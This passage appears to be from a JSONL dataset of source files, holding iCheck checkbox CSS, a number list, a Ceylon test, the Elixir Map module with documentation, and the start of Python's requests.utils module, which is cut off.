*/\n.icheckbox_minimal-pink,\n.iradio_minimal-pink {\n    display: inline-block;\n    *display: inline;\n    vertical-align: middle;\n    margin: 0;\n    padding: 0;\n    width: 18px;\n    height: 18px;\n    background: url(pink.png) no-repeat;\n    border: none;\n    cursor: pointer;\n}\n\n.icheckbox_minimal-pink {\n    background-position: 0 0;\n}\n    .icheckbox_minimal-pink.hover {\n        background-position: -20px 0;\n    }\n    .icheckbox_minimal-pink.checked {\n        background-position: -40px 0;\n    }\n    .icheckbox_minimal-pink.disabled {\n        background-position: -60px 0;\n        cursor: default;\n    }\n    .icheckbox_minimal-pink.checked.disabled {\n        background-position: -80px 0;\n    }\n\n.iradio_minimal-pink {\n    background-position: -100px 0;\n}\n    .iradio_minimal-pink.hover {\n        background-position: -120px 0;\n    }\n    .iradio_minimal-pink.checked {\n        background-position: -140px 0;\n    }\n    .iradio_minimal-pink.disabled {\n        background-position: -160px 0;\n        cursor: default;\n    }\n    .iradio_minimal-pink.checked.disabled {\n        background-position: -180px 0;\n    }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n       only screen and (-moz-min-device-pixel-ratio: 1.5),\n       only screen and (-o-min-device-pixel-ratio: 1.5),\n       only screen and (min-device-pixel-ratio: 1.5) {\n    .icheckbox_minimal-pink,\n    .iradio_minimal-pink {\n        background-image: url(pink@2x.png);\n        -webkit-background-size: 200px 20px;\n        background-size: 200px 20px;\n    }\n}\n\n/* purple */\n.icheckbox_minimal-purple,\n.iradio_minimal-purple {\n    display: inline-block;\n    *display: inline;\n    vertical-align: middle;\n    margin: 0;\n    padding: 0;\n    width: 18px;\n    height: 18px;\n    background: url(purple.png) no-repeat;\n    border: none;\n    cursor: pointer;\n}\n\n.icheckbox_minimal-purple {\n    background-position: 0 0;\n}\n    .icheckbox_minimal-purple.hover {\n        background-position: -20px 0;\n    }\n    .icheckbox_minimal-purple.checked {\n        background-position: -40px 0;\n    }\n    .icheckbox_minimal-purple.disabled {\n        background-position: -60px 0;\n        cursor: default;\n    }\n    .icheckbox_minimal-purple.checked.disabled {\n        background-position: -80px 0;\n    }\n\n.iradio_minimal-purple {\n    background-position: -100px 0;\n}\n    .iradio_minimal-purple.hover {\n        background-position: -120px 0;\n    }\n    .iradio_minimal-purple.checked {\n        background-position: -140px 0;\n    }\n    .iradio_minimal-purple.disabled {\n        background-position: -160px 0;\n        cursor: default;\n    }\n    .iradio_minimal-purple.checked.disabled {\n        background-position: -180px 0;\n    }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n       only screen and (-moz-min-device-pixel-ratio: 1.5),\n       only screen and (-o-min-device-pixel-ratio: 1.5),\n       only screen and (min-device-pixel-ratio: 1.5) {\n    .icheckbox_minimal-purple,\n    .iradio_minimal-purple {\n        background-image: url(purple@2x.png);\n        -webkit-background-size: 200px 20px;\n        background-size: 200px 20px;\n    }\n}"}
+{"text": "0\r\n65532\r\n65533\r\n65534\r\n65535\r\n0\r\n1\r\n2\r\n3\r\n4\r\n5\r\n"}
+{"text": "/*\n * Copyright Red Hat Inc. and/or its affiliates and other contributors\n * as indicated by the authors tag. All rights reserved.\n *\n * This copyrighted material is made available to anyone wishing to use,\n * modify, copy, or redistribute it subject to the terms and conditions\n * of the GNU General Public License version 2.\n * \n * This particular file is subject to the \"Classpath\" exception as provided in the \n * LICENSE file that accompanied this code.\n * \n * This program is distributed in the hope that it will be useful, but WITHOUT A\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A\n * PARTICULAR PURPOSE.  See the GNU General Public License for more details.\n * You should have received a copy of the GNU General Public License,\n * along with this distribution; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n * MA  02110-1301, USA.\n */\nimport com.redhat.ceylon.compiler.java.test.structure.importIt.pkg{C1}\n\n@noanno\nclass ImportTypeSingle() {\n    void m() {\n        C1();\n    }\n}"}
+{"text": "defmodule Map do\n  @moduledoc \"\"\"\n  Maps are the \"go to\" key-value data structure in Elixir.\n\n  Maps can be created with the `%{}` syntax, and key-value pairs can be\n  expressed as `key => value`:\n\n      iex> %{}\n      %{}\n      iex> %{\"one\" => :two, 3 => \"four\"}\n      %{3 => \"four\", \"one\" => :two}\n\n  Key-value pairs in a map do not follow any order (that's why the printed map\n  in the example above has a different order than the map that was created).\n\n  Maps do not impose any restriction on the key type: anything can be a key in a\n  map. As a key-value structure, maps do not allow duplicated keys. Keys are\n  compared using the exact-equality operator (`===/2`). If colliding keys are defined\n  in a map literal, the last one prevails.\n\n  When the key in a key-value pair is an atom, the `key: value` shorthand syntax\n  can be used (as in many other special forms), provided key-value pairs are put at\n  the end:\n\n      iex> %{\"hello\" => \"world\", a: 1, b: 2}\n      %{:a => 1, :b => 2, \"hello\" => \"world\"}\n\n  Keys in maps can be accessed through some of the functions in this module\n  (such as `Map.get/3` or `Map.fetch/2`) or through the `map[]` syntax provided\n  by the `Access` module:\n\n      iex> map = %{a: 1, b: 2}\n      iex> Map.fetch(map, :a)\n      {:ok, 1}\n      iex> map[:b]\n      2\n      iex> map[\"non_existing_key\"]\n      nil\n\n  To access atom keys, one may also use the `map.key` notation. Note that `map.key`\n  will raise a `KeyError` if the `map` doesn't contain the key `:key`, compared to\n  `map[:key]`, that would return `nil`.\n\n      map = %{foo: \"bar\", baz: \"bong\"}\n      map.foo\n      #=> \"bar\"\n      map.non_existing_key\n      #=> ** (KeyError) key :non_existing_key not found in: %{baz: \"bong\", foo: \"bar\"}\n\n  > Note: do not add parens when accessing fields, such as in `data.key()`.\n  > If parenthesis are used, Elixir will consider it to be a function call\n  > on `data`, which would be expected to be an atom.\n\n  The two syntaxes for accessing keys reveal the dual nature of maps. The `map[key]`\n  syntax is used for dynamically created maps that may have any key, of any type.\n  `map.key` is used with maps that hold a predetermined set of atoms keys, which are\n  expected to always be present. Structs, defined via `defstruct/1`, are one example\n  of such \"static maps\", where the keys can also be checked during compile time.\n\n  Maps can be pattern matched on. When a map is on the left-hand side of a\n  pattern match, it will match if the map on the right-hand side contains the\n  keys on the left-hand side and their values match the ones on the left-hand\n  side. This means that an empty map matches every map.\n\n      iex> %{} = %{foo: \"bar\"}\n      %{foo: \"bar\"}\n      iex> %{a: a} = %{:a => 1, \"b\" => 2, [:c, :e, :e] => 3}\n      iex> a\n      1\n\n  But this will raise a `MatchError` exception:\n\n      %{:c => 3} = %{:a => 1, 2 => :b}\n\n  Variables can be used as map keys both when writing map literals as well as\n  when matching:\n\n      iex> n = 1\n      1\n      iex> %{n => :one}\n      %{1 => :one}\n      iex> %{^n => :one} = %{1 => :one, 2 => :two, 3 => :three}\n      %{1 => :one, 2 => :two, 3 => :three}\n\n  Maps also support a specific update syntax to update the value stored under\n  *existing* atom keys:\n\n      iex> map = %{one: 1, two: 2}\n      iex> %{map | one: \"one\"}\n      %{one: \"one\", two: 2}\n\n  When a key that does not exist in the map is updated a `KeyError` exception will be raised:\n\n      %{map | three: 3}\n\n  The functions in this module that need to find a specific key work in logarithmic time.\n  This means that the time it takes to find keys grows as the map grows, but it's not\n  directly proportional to the map size. In comparison to finding an element in a list,\n  it performs better because lists have a linear time complexity. Some functions,\n  such as `keys/1` and `values/1`, run in linear time because they need to get to every\n  element in the map.\n\n  Maps also implement the `Enumerable` protocol, so many functions to work with maps\n  are found in the `Enum` module. Additionally, the following functions for maps are\n  found in `Kernel`:\n\n    * `map_size/1`\n\n  \"\"\"\n\n  @type key :: any\n  @type value :: any\n  @compile {:inline, fetch: 2, fetch!: 2, get: 2, put: 3, delete: 2, has_key?: 2, replace!: 3}\n\n  @doc \"\"\"\n  Returns all keys from `map`.\n\n  Inlined by the compiler.\n\n  ## Examples\n\n      iex> Map.keys(%{a: 1, b: 2})\n      [:a, :b]\n\n  \"\"\"\n  @spec keys(map) :: [key]\n  defdelegate keys(map), to: :maps\n\n  @doc \"\"\"\n  Returns all values from `map`.\n\n  Inlined by the compiler.\n\n  ## Examples\n\n      iex> Map.values(%{a: 1, b: 2})\n      [1, 2]\n\n  \"\"\"\n  @spec values(map) :: [value]\n  defdelegate values(map), to: :maps\n\n  @doc \"\"\"\n  Converts `map` to a list.\n\n  Each key-value pair in the map is converted to a two-element tuple `{key,\n  value}` in the resulting list.\n\n  Inlined by the compiler.\n\n  ## Examples\n\n      iex> Map.to_list(%{a: 1})\n      [a: 1]\n      iex> Map.to_list(%{1 => 2})\n      [{1, 2}]\n\n  \"\"\"\n  @spec to_list(map) :: [{term, term}]\n  defdelegate to_list(map), to: :maps\n\n  @doc \"\"\"\n  Returns a new empty map.\n\n  ## Examples\n\n      iex> Map.new()\n      %{}\n\n  \"\"\"\n  @spec new :: map\n  def new, do: %{}\n\n  @doc \"\"\"\n  Creates a map from an `enumerable`.\n\n  Duplicated keys are removed; the latest one prevails.\n\n  ## Examples\n\n      iex> Map.new([{:b, 1}, {:a, 2}])\n      %{a: 2, b: 1}\n      iex> Map.new(a: 1, a: 2, a: 3)\n      %{a: 3}\n\n  \"\"\"\n  @spec new(Enumerable.t()) :: map\n  def new(enumerable)\n  def new(list) when is_list(list), do: :maps.from_list(list)\n  def new(%_{} = struct), do: new_from_enum(struct)\n  def new(%{} = map), do: map\n  def new(enum), do: new_from_enum(enum)\n\n  defp new_from_enum(enumerable) do\n    enumerable\n    |> Enum.to_list()\n    |> :maps.from_list()\n  end\n\n  @doc \"\"\"\n  Creates a map from an `enumerable` via the given transformation function.\n\n  Duplicated keys are removed; the latest one prevails.\n\n  ## Examples\n\n      iex> Map.new([:a, :b], fn x -> {x, x} end)\n      %{a: :a, b: :b}\n\n  \"\"\"\n  @spec new(Enumerable.t(), (term -> {key, value})) :: map\n  def new(enumerable, transform) when is_function(transform, 1) do\n    enumerable\n    |> Enum.to_list()\n    |> new_transform(transform, [])\n  end\n\n  defp new_transform([], _fun, acc) do\n    acc\n    |> :lists.reverse()\n    |> :maps.from_list()\n  end\n\n  defp new_transform([element | rest], fun, acc) do\n    new_transform(rest, fun, [fun.(element) | acc])\n  end\n\n  @doc \"\"\"\n  Returns whether the given `key` exists in the given `map`.\n\n  Inlined by the compiler.\n\n  ## Examples\n\n      iex> Map.has_key?(%{a: 1}, :a)\n      true\n      iex> Map.has_key?(%{a: 1}, :b)\n      false\n\n  \"\"\"\n  @spec has_key?(map, key) :: boolean\n  def has_key?(map, key), do: :maps.is_key(key, map)\n\n  @doc \"\"\"\n  Fetches the value for a specific `key` in the given `map`.\n\n  If `map` contains the given `key` then its value is returned in the shape of `{:ok, value}`.\n  If `map` doesn't contain `key`, `:error` is returned.\n\n  Inlined by the compiler.\n\n  ## Examples\n\n      iex> Map.fetch(%{a: 1}, :a)\n      {:ok, 1}\n      iex> Map.fetch(%{a: 1}, :b)\n      :error\n\n  \"\"\"\n  @spec fetch(map, key) :: {:ok, value} | :error\n  def fetch(map, key), do: :maps.find(key, map)\n\n  @doc \"\"\"\n  Fetches the value for a specific `key` in the given `map`, erroring out if\n  `map` doesn't contain `key`.\n\n  If `map` contains `key`, the corresponding value is returned. If\n  `map` doesn't contain `key`, a `KeyError` exception is raised.\n\n  Inlined by the compiler.\n\n  ## Examples\n\n      iex> Map.fetch!(%{a: 1}, :a)\n      1\n\n  \"\"\"\n  @spec fetch!(map, key) :: value\n  def fetch!(map, key) do\n    :maps.get(key, map)\n  end\n\n  @doc \"\"\"\n  Puts the given `value` under `key` unless the entry `key`\n  already exists in `map`.\n\n  ## Examples\n\n      iex> Map.put_new(%{a: 1}, :b, 2)\n      %{a: 1, b: 2}\n      iex> Map.put_new(%{a: 1, b: 2}, :a, 3)\n      %{a: 1, b: 2}\n\n  \"\"\"\n  @spec put_new(map, key, value) :: map\n  def put_new(map, key, value) do\n    case map do\n      %{^key => _value} ->\n        map\n\n      %{} ->\n        put(map, key, value)\n\n      other ->\n        :erlang.error({:badmap, other})\n    end\n  end\n\n  @doc \"\"\"\n  Puts a value under `key` only if the `key` already exists in `map`.\n\n  ## Examples\n\n      iex> Map.replace(%{a: 1, b: 2}, :a, 3)\n      %{a: 3, b: 2}\n\n      iex> Map.replace(%{a: 1}, :b, 2)\n      %{a: 1}\n\n  \"\"\"\n  @doc since: \"1.11.0\"\n  @spec replace(map, key, value) :: map\n  def replace(map, key, value) do\n    case map do\n      %{^key => _value} ->\n        put(map, key, value)\n\n      %{} ->\n        map\n\n      other ->\n        :erlang.error({:badmap, other})\n    end\n  end\n\n  @doc \"\"\"\n  Puts a value under `key` only if the `key` already exists in `map`.\n\n  If `key` is not present in `map`, a `KeyError` exception is raised.\n\n  Inlined by the compiler.\n\n  ## Examples\n\n      iex> Map.replace!(%{a: 1, b: 2}, :a, 3)\n      %{a: 3, b: 2}\n\n      iex> Map.replace!(%{a: 1}, :b, 2)\n      ** (KeyError) key :b not found in: %{a: 1}\n\n  \"\"\"\n  @doc since: \"1.5.0\"\n  @spec replace!(map, key, value) :: map\n  def replace!(map, key, value) do\n    :maps.update(key, value, map)\n  end\n\n  @doc \"\"\"\n  Evaluates `fun` and puts the result under `key`\n  in `map` unless `key` is already present.\n\n  This function is useful in case you want to compute the value to put under\n  `key` only if `key` is not already present, as for example, when the value is expensive to\n  calculate or generally difficult to setup and teardown again.\n\n  ## Examples\n\n      iex> map = %{a: 1}\n      iex> fun = fn ->\n      ...>   # some expensive operation here\n      ...>   3\n      ...> end\n      iex> Map.put_new_lazy(map, :a, fun)\n      %{a: 1}\n      iex> Map.put_new_lazy(map, :b, fun)\n      %{a: 1, b: 3}\n\n  \"\"\"\n  @spec put_new_lazy(map, key, (() -> value)) :: map\n  def put_new_lazy(map, key, fun) when is_function(fun, 0) do\n    case map do\n      %{^key => _value} ->\n        map\n\n      %{} ->\n        put(map, key, fun.())\n\n      other ->\n        :erlang.error({:badmap, other})\n    end\n  end\n\n  @doc \"\"\"\n  Returns a new map with all the key-value pairs in `map` where the key\n  is in `keys`.\n\n  If `keys` contains keys that are not in `map`, they're simply ignored.\n\n  ## Examples\n\n      iex> Map.take(%{a: 1, b: 2, c: 3}, [:a, :c, :e])\n      %{a: 1, c: 3}\n\n  \"\"\"\n  @spec take(map, [key]) :: map\n  def take(map, keys)\n\n  def take(map, keys) when is_map(map) and is_list(keys) do\n    take(keys, map, _acc = [])\n  end\n\n  def take(map, keys) when is_map(map) do\n    IO.warn(\n      \"Map.take/2 with an Enumerable of keys that is not a list is deprecated. \" <>\n        \" Use a list of keys instead.\"\n    )\n\n    take(map, Enum.to_list(keys))\n  end\n\n  def take(non_map, _keys) do\n    :erlang.error({:badmap, non_map})\n  end\n\n  defp take([], _map, acc) do\n    :maps.from_list(acc)\n  end\n\n  defp take([key | rest], map, acc) do\n    acc =\n      case map do\n        %{^key => value} -> [{key, value} | acc]\n        %{} -> acc\n      end\n\n    take(rest, map, acc)\n  end\n\n  @doc \"\"\"\n  Gets the value for a specific `key` in `map`.\n\n  If `key` is present in `map` then its value `value` is\n  returned. Otherwise, `default` is returned.\n\n  If `default` is not provided, `nil` is used.\n\n  ## Examples\n\n      iex> Map.get(%{}, :a)\n      nil\n      iex> Map.get(%{a: 1}, :a)\n      1\n      iex> Map.get(%{a: 1}, :b)\n      nil\n      iex> Map.get(%{a: 1}, :b, 3)\n      3\n\n  \"\"\"\n  @spec get(map, key, value) :: value\n  def get(map, key, default \\\\ nil) do\n    case map do\n      %{^key => value} ->\n        value\n\n      %{} ->\n        default\n\n      other ->\n        :erlang.error({:badmap, other}, [map, key, default])\n    end\n  end\n\n  @doc \"\"\"\n  Gets the value for a specific `key` in `map`.\n\n  If `key` is present in `map` then its value `value` is\n  returned. Otherwise, `fun` is evaluated and its result is returned.\n\n  This is useful if the default value is very expensive to calculate or\n  generally difficult to setup and teardown again.\n\n  ## Examples\n\n      iex> map = %{a: 1}\n      iex> fun = fn ->\n      ...>   # some expensive operation here\n      ...>   13\n      ...> end\n      iex> Map.get_lazy(map, :a, fun)\n      1\n      iex> Map.get_lazy(map, :b, fun)\n      13\n\n  \"\"\"\n  @spec get_lazy(map, key, (() -> value)) :: value\n  def get_lazy(map, key, fun) when is_function(fun, 0) do\n    case map do\n      %{^key => value} ->\n        value\n\n      %{} ->\n        fun.()\n\n      other ->\n        :erlang.error({:badmap, other}, [map, key, fun])\n    end\n  end\n\n  @doc \"\"\"\n  Puts the given `value` under `key` in `map`.\n\n  Inlined by the compiler.\n\n  ## Examples\n\n      iex> Map.put(%{a: 1}, :b, 2)\n      %{a: 1, b: 2}\n      iex> Map.put(%{a: 1, b: 2}, :a, 3)\n      %{a: 3, b: 2}\n\n  \"\"\"\n  @spec put(map, key, value) :: map\n  def put(map, key, value) do\n    :maps.put(key, value, map)\n  end\n\n  @doc \"\"\"\n  Deletes the entry in `map` for a specific `key`.\n\n  If the `key` does not exist, returns `map` unchanged.\n\n  Inlined by the compiler.\n\n  ## Examples\n\n      iex> Map.delete(%{a: 1, b: 2}, :a)\n      %{b: 2}\n      iex> Map.delete(%{b: 2}, :a)\n      %{b: 2}\n\n  \"\"\"\n  @spec delete(map, key) :: map\n  def delete(map, key), do: :maps.remove(key, map)\n\n  @doc \"\"\"\n  Merges two maps into one.\n\n  All keys in `map2` will be added to `map1`, overriding any existing one\n  (i.e., the keys in `map2` \"have precedence\" over the ones in `map1`).\n\n  If you have a struct and you would like to merge a set of keys into the\n  struct, do not use this function, as it would merge all keys on the right\n  side into the struct, even if the key is not part of the struct. Instead,\n  use `Kernel.struct/2`.\n\n  Inlined by the compiler.\n\n  ## Examples\n\n      iex> Map.merge(%{a: 1, b: 2}, %{a: 3, d: 4})\n      %{a: 3, b: 2, d: 4}\n\n  \"\"\"\n  @spec merge(map, map) :: map\n  defdelegate merge(map1, map2), to: :maps\n\n  @doc \"\"\"\n  Merges two maps into one, resolving conflicts through the given `fun`.\n\n  All keys in `map2` will be added to `map1`. The given function will be invoked\n  when there are duplicate keys; its arguments are `key` (the duplicate key),\n  `value1` (the value of `key` in `map1`), and `value2` (the value of `key` in\n  `map2`). The value returned by `fun` is used as the value under `key` in\n  the resulting map.\n\n  ## Examples\n\n      iex> Map.merge(%{a: 1, b: 2}, %{a: 3, d: 4}, fn _k, v1, v2 ->\n      ...>   v1 + v2\n      ...> end)\n      %{a: 4, b: 2, d: 4}\n\n  \"\"\"\n  @spec merge(map, map, (key, value, value -> value)) :: map\n  def merge(map1, map2, fun) when is_function(fun, 3) do\n    if map_size(map1) > map_size(map2) do\n      folder = fn key, val2, acc ->\n        update(acc, key, val2, fn val1 -> fun.(key, val1, val2) end)\n      end\n\n      :maps.fold(folder, map1, map2)\n    else\n      folder = fn key, val2, acc ->\n        update(acc, key, val2, fn val1 -> fun.(key, val2, val1) end)\n      end\n\n      :maps.fold(folder, map2, map1)\n    end\n  end\n\n  @doc \"\"\"\n  Updates the `key` in `map` with the given function.\n\n  If `key` is present in `map` then the existing value is passed to `fun` and its result is\n  used as the updated value of `key`. If `key` is\n  not present in `map`, `default` is inserted as the value of `key`. The default\n  value will not be passed through the update function.\n\n  ## Examples\n\n      iex> Map.update(%{a: 1}, :a, 13, fn existing_value -> existing_value * 2 end)\n      %{a: 2}\n      iex> Map.update(%{a: 1}, :b, 11, fn existing_value -> existing_value * 2 end)\n      %{a: 1, b: 11}\n\n  \"\"\"\n  @spec update(map, key, default :: value, (existing_value :: value -> updated_value :: value)) ::\n          map\n  def update(map, key, default, fun) when is_function(fun, 1) do\n    case map do\n      %{^key => value} ->\n        put(map, key, fun.(value))\n\n      %{} ->\n        put(map, key, default)\n\n      other ->\n        :erlang.error({:badmap, other}, [map, key, default, fun])\n    end\n  end\n\n  @doc \"\"\"\n  Removes the value associated with `key` in `map` and returns the value and the updated map.\n\n  If `key` is present in `map`, it returns `{value, updated_map}` where `value` is the value of\n  the key and `updated_map` is the result of removing `key` from `map`. If `key`\n  is not present in `map`, `{default, map}` is returned.\n\n  ## Examples\n\n      iex> Map.pop(%{a: 1}, :a)\n      {1, %{}}\n      iex> Map.pop(%{a: 1}, :b)\n      {nil, %{a: 1}}\n      iex> Map.pop(%{a: 1}, :b, 3)\n      {3, %{a: 1}}\n\n  \"\"\"\n  @spec pop(map, key, default) :: {value, updated_map :: map} | {default, map} when default: value\n  def pop(map, key, default \\\\ nil) do\n    case :maps.take(key, map) do\n      {_, _} = tuple -> tuple\n      :error -> {default, map}\n    end\n  end\n\n  @doc \"\"\"\n  Removes the value associated with `key` in `map` and returns the value\n  and the updated map, or it raises if `key` is not present.\n\n  Behaves the same as `pop/3` but raises if `key` is not present in `map`.\n\n  ## Examples\n\n      iex> Map.pop!(%{a: 1}, :a)\n      {1, %{}}\n      iex> Map.pop!(%{a: 1, b: 2}, :a)\n      {1, %{b: 2}}\n      iex> Map.pop!(%{a: 1}, :b)\n      ** (KeyError) key :b not found in: %{a: 1}\n\n  \"\"\"\n  @doc since: \"1.10.0\"\n  @spec pop!(map, key) :: {value, updated_map :: map}\n  def pop!(map, key) do\n    case :maps.take(key, map) do\n      {_, _} = tuple -> tuple\n      :error -> raise KeyError, key: key, term: map\n    end\n  end\n\n  @doc \"\"\"\n  Lazily returns and removes the value associated with `key` in `map`.\n\n  If `key` is present in `map`, it returns `{value, new_map}` where `value` is the value of\n  the key and `new_map` is the result of removing `key` from `map`. If `key`\n  is not present in `map`, `{fun_result, map}` is returned, where `fun_result`\n  is the result of applying `fun`.\n\n  This is useful if the default value is very expensive to calculate or\n  generally difficult to setup and teardown again.\n\n  ## Examples\n\n      iex> map = %{a: 1}\n      iex> fun = fn ->\n      ...>   # some expensive operation here\n      ...>   13\n      ...> end\n      iex> Map.pop_lazy(map, :a, fun)\n      {1, %{}}\n      iex> Map.pop_lazy(map, :b, fun)\n      {13, %{a: 1}}\n\n  \"\"\"\n  @spec pop_lazy(map, key, (() -> value)) :: {value, map}\n  def pop_lazy(map, key, fun) when is_function(fun, 0) do\n    case :maps.take(key, map) do\n      {_, _} = tuple -> tuple\n      :error -> {fun.(), map}\n    end\n  end\n\n  @doc \"\"\"\n  Drops the given `keys` from `map`.\n\n  If `keys` contains keys that are not in `map`, they're simply ignored.\n\n  ## Examples\n\n      iex> Map.drop(%{a: 1, b: 2, c: 3}, [:b, :d])\n      %{a: 1, c: 3}\n\n  \"\"\"\n  @spec drop(map, [key]) :: map\n  def drop(map, keys)\n\n  def drop(map, keys) when is_map(map) and is_list(keys) do\n    drop_keys(keys, map)\n  end\n\n  def drop(map, keys) when is_map(map) do\n    IO.warn(\n      \"Map.drop/2 with an Enumerable of keys that is not a list is deprecated. \" <>\n        \" Use a list of keys instead.\"\n    )\n\n    drop(map, Enum.to_list(keys))\n  end\n\n  def drop(non_map, keys) do\n    :erlang.error({:badmap, non_map}, [non_map, keys])\n  end\n\n  defp drop_keys([], acc), do: acc\n\n  defp drop_keys([key | rest], acc) do\n    drop_keys(rest, delete(acc, key))\n  end\n\n  @doc \"\"\"\n  Takes all entries corresponding to the given `keys` in `map` and extracts\n  them into a separate map.\n\n  Returns a tuple with the new map and the old map with removed keys.\n\n  Keys for which there are no entries in `map` are ignored.\n\n  ## Examples\n\n      iex> Map.split(%{a: 1, b: 2, c: 3}, [:a, :c, :e])\n      {%{a: 1, c: 3}, %{b: 2}}\n\n  \"\"\"\n  @spec split(map, [key]) :: {map, map}\n  def split(map, keys)\n\n  def split(map, keys) when is_map(map) and is_list(keys) do\n    split(keys, [], map)\n  end\n\n  def split(map, keys) when is_map(map) do\n    IO.warn(\n      \"Map.split/2 with an Enumerable of keys that is not a list is deprecated. \" <>\n        \" Use a list of keys instead.\"\n    )\n\n    split(map, Enum.to_list(keys))\n  end\n\n  def split(non_map, keys) do\n    :erlang.error({:badmap, non_map}, [non_map, keys])\n  end\n\n  defp split([], included, excluded) do\n    {:maps.from_list(included), excluded}\n  end\n\n  defp split([key | rest], included, excluded) do\n    case excluded do\n      %{^key => value} ->\n        split(rest, [{key, value} | included], delete(excluded, key))\n\n      _other ->\n        split(rest, included, excluded)\n    end\n  end\n\n  @doc \"\"\"\n  Updates `key` with the given function.\n\n  If `key` is present in `map` then the existing value is passed to `fun` and its result is\n  used as the updated value of `key`. If `key` is\n  not present in `map`, a `KeyError` exception is raised.\n\n  ## Examples\n\n      iex> Map.update!(%{a: 1}, :a, &(&1 * 2))\n      %{a: 2}\n\n      iex> Map.update!(%{a: 1}, :b, &(&1 * 2))\n      ** (KeyError) key :b not found in: %{a: 1}\n\n  \"\"\"\n  @spec update!(map, key, (existing_value :: value -> updated_value :: value)) :: map\n  def update!(map, key, fun) when is_function(fun, 1) do\n    value = fetch!(map, key)\n    put(map, key, fun.(value))\n  end\n\n  @doc \"\"\"\n  Gets the value from `key` and updates it, all in one pass.\n\n  `fun` is called with the current value under `key` in `map` (or `nil` if `key`\n  is not present in `map`) and must return a two-element tuple: the current value\n  (the retrieved value, which can be operated on before being returned) and the\n  new value to be stored under `key` in the resulting new map. `fun` may also\n  return `:pop`, which means the current value shall be removed from `map` and\n  returned (making this function behave like `Map.pop(map, key)`).\n\n  The returned value is a two-element tuple with the current value returned by\n  `fun` and a new map with the updated value under `key`.\n\n  ## Examples\n\n      iex> Map.get_and_update(%{a: 1}, :a, fn current_value ->\n      ...>   {current_value, \"new value!\"}\n      ...> end)\n      {1, %{a: \"new value!\"}}\n\n      iex> Map.get_and_update(%{a: 1}, :b, fn current_value ->\n      ...>   {current_value, \"new value!\"}\n      ...> end)\n      {nil, %{a: 1, b: \"new value!\"}}\n\n      iex> Map.get_and_update(%{a: 1}, :a, fn _ -> :pop end)\n      {1, %{}}\n\n      iex> Map.get_and_update(%{a: 1}, :b, fn _ -> :pop end)\n      {nil, %{a: 1}}\n\n  \"\"\"\n  @spec get_and_update(map, key, (value -> {current_value, new_value :: value} | :pop)) ::\n          {current_value, map}\n        when current_value: value\n  def get_and_update(map, key, fun) when is_function(fun, 1) do\n    current = get(map, key)\n\n    case fun.(current) do\n      {get, update} ->\n        {get, put(map, key, update)}\n\n      :pop ->\n        {current, delete(map, key)}\n\n      other ->\n        raise \"the given function must return a two-element tuple or :pop, got: #{inspect(other)}\"\n    end\n  end\n\n  @doc \"\"\"\n  Gets the value from `key` and updates it, all in one pass. Raises if there is no `key`.\n\n  Behaves exactly like `get_and_update/3`, but raises a `KeyError` exception if\n  `key` is not present in `map`.\n\n  ## Examples\n\n      iex> Map.get_and_update!(%{a: 1}, :a, fn current_value ->\n      ...>   {current_value, \"new value!\"}\n      ...> end)\n      {1, %{a: \"new value!\"}}\n\n      iex> Map.get_and_update!(%{a: 1}, :b, fn current_value ->\n      ...>   {current_value, \"new value!\"}\n      ...> end)\n      ** (KeyError) key :b not found in: %{a: 1}\n\n      iex> Map.get_and_update!(%{a: 1}, :a, fn _ ->\n      ...>   :pop\n      ...> end)\n      {1, %{}}\n\n  \"\"\"\n  @spec get_and_update!(map, key, (value -> {current_value, new_value :: value} | :pop)) ::\n          {current_value, map}\n        when current_value: value\n  def get_and_update!(map, key, fun) when is_function(fun, 1) do\n    value = fetch!(map, key)\n\n    case fun.(value) do\n      {get, update} ->\n        {get, put(map, key, update)}\n\n      :pop ->\n        {value, delete(map, key)}\n\n      other ->\n        raise \"the given function must return a two-element tuple or :pop, got: #{inspect(other)}\"\n    end\n  end\n\n  @doc \"\"\"\n  Converts a `struct` to map.\n\n  It accepts the struct module or a struct itself and\n  simply removes the `__struct__` field from the given struct\n  or from a new struct generated from the given module.\n\n  ## Example\n\n      defmodule User do\n        defstruct [:name]\n      end\n\n      Map.from_struct(User)\n      #=> %{name: nil}\n\n      Map.from_struct(%User{name: \"john\"})\n      #=> %{name: \"john\"}\n\n  \"\"\"\n  @spec from_struct(atom | struct) :: map\n  def from_struct(struct) when is_atom(struct) do\n    delete(struct.__struct__(), :__struct__)\n  end\n\n  def from_struct(%_{} = struct) do\n    delete(struct, :__struct__)\n  end\n\n  @doc \"\"\"\n  Checks if two maps are equal.\n\n  Two maps are considered to be equal if they contain\n  the same keys and those keys contain the same values.\n\n  ## Examples\n\n      iex> Map.equal?(%{a: 1, b: 2}, %{b: 2, a: 1})\n      true\n      iex> Map.equal?(%{a: 1, b: 2}, %{b: 1, a: 2})\n      false\n\n  \"\"\"\n  @spec equal?(map, map) :: boolean\n  def equal?(map1, map2)\n\n  def equal?(%{} = map1, %{} = map2), do: map1 === map2\n  def equal?(%{} = map1, map2), do: :erlang.error({:badmap, map2}, [map1, map2])\n  def equal?(term, other), do: :erlang.error({:badmap, term}, [term, other])\n\n  @doc false\n  @deprecated \"Use Kernel.map_size/1 instead\"\n  def size(map) do\n    map_size(map)\n  end\nend\n"}
+{"text": "# -*- coding: utf-8 -*-\n\n\"\"\"\nrequests.utils\n~~~~~~~~~~~~~~\n\nThis module provides utility functions that are used within Requests\nthat are also useful for external consumption.\n\"\"\"\n\nimport cgi\nimport codecs\nimport collections\nimport io\nimport os\nimport re\nimport socket\nimport struct\nimport warnings\n\nfrom . import __version__\nfrom . import certs\nfrom .compat import parse_http_list as _parse_list_header\nfrom .compat import (quote, urlparse, bytes, str, OrderedDict, unquote, is_py2,\n                     builtin_str, getproxies, proxy_bypass, urlunparse,\n                     basestring)\nfrom .cookies import RequestsCookieJar, cookiejar_from_dict\nfrom .structures import CaseInsensitiveDict\nfrom .exceptions import InvalidURL, InvalidHeader, FileModeWarning\n\n_hush_pyflakes = (RequestsCookieJar,)\n\nNETRC_FILES = ('.netrc', '_netrc')\n\nDEFAULT_CA_BUNDLE_PATH = certs.where()\n\n\ndef dict_to_sequence(d):\n    \"\"\"Returns an internal sequence dictionary update.\"\"\"\n\n    if hasattr(d, 'items'):\n        d = d.items()\n\n    return d\n\n\ndef super_len(o):\n    total_length = 0\n    current_position = 0\n\n    if hasattr(o, '__len__'):\n        total_length = 